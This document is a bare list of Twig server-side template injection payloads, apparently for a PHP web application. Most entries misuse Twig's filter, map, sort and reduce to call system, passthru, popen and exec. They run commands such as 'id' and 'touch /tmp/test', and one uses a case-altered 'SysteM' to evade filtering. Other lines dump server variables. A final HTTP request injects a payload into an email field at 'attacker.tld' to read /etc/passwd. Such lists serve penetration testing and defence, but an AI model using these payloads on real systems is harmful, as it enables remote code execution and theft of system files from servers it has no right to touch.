{{ 'UI:Login:UserNamePrompt'|dict_s }}
['id']|filter('system')|join
{{ ['id']|filter('system')|join }}
['echo']|filter('passthru')|join
{{ ['echo']|filter('passthru')|join }}
['echo']|filter('popen')|join
{{ ['echo']|filter('popen')|join }}
['echo']|filter('exec')|join
{{ ['echo']|filter('exec')|join }}
['id']|filter('SysteM')|join
{{ ['id']|filter('SysteM')|join }}
['touch+/tmp/test+']|filter('system')|join(',')
{{ ['touch+/tmp/test+']|filter('system')|join(',') }}
[34, 36, 38, 40, 42]|filter(v => v > 38)|join(', ')
{{ [34, 36, 38, 40, 42]|filter(v => v > 38)|join(', ') }}
app.request.server.all|join(',')
{{ app.request.server.all|join(',')}}
self
{{ self }}
[0]|reduce('system','echo')
{{ [0]|reduce('system','echo')|join(', ') }}
[1, 2, 3]|reduce((carry, v) => carry + v)
{% set numbers = [1, 2, 3] %}
{{ numbers|reduce((carry, v) => carry + v)|join(', ') }}
['echo']|map('system')|join
{{ ['echo']|map('system')|join }}
{"Bob": "Smith", "Alice": "Dupond"}|map((value, key) => "#{key} #{value}")|join(', ')
{% set people = {
"Bob": "Smith",
"Alice": "Dupond",
} %}
{{ people|map((value, key) => "#{key} #{value}")|join(', ') }}
['echo',1]|sort('system')|join
{{ ['echo',1]|sort('system')|join }}
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{ app.request.query.filter(0,0,1024,{'options':'system'}) }}"@attacker.tld